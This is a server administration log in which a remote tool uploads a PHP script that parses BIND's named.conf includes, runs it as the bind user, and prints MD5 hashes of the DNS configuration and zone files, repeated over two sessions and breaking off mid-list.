MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:03:22: Establishing a connection
2026-02-09 15:03:23: 

PUT: /tmp/pkp104255

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:03:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp104255; rm /tmp/pkp104255'

2026-02-09 15:03:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:06:28: Establishing a connection
2026-02-09 15:06:29: 

PUT: /tmp/pkp731367

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:06:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp731367; rm /tmp/pkp731367'

2026-02-09 15:06:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
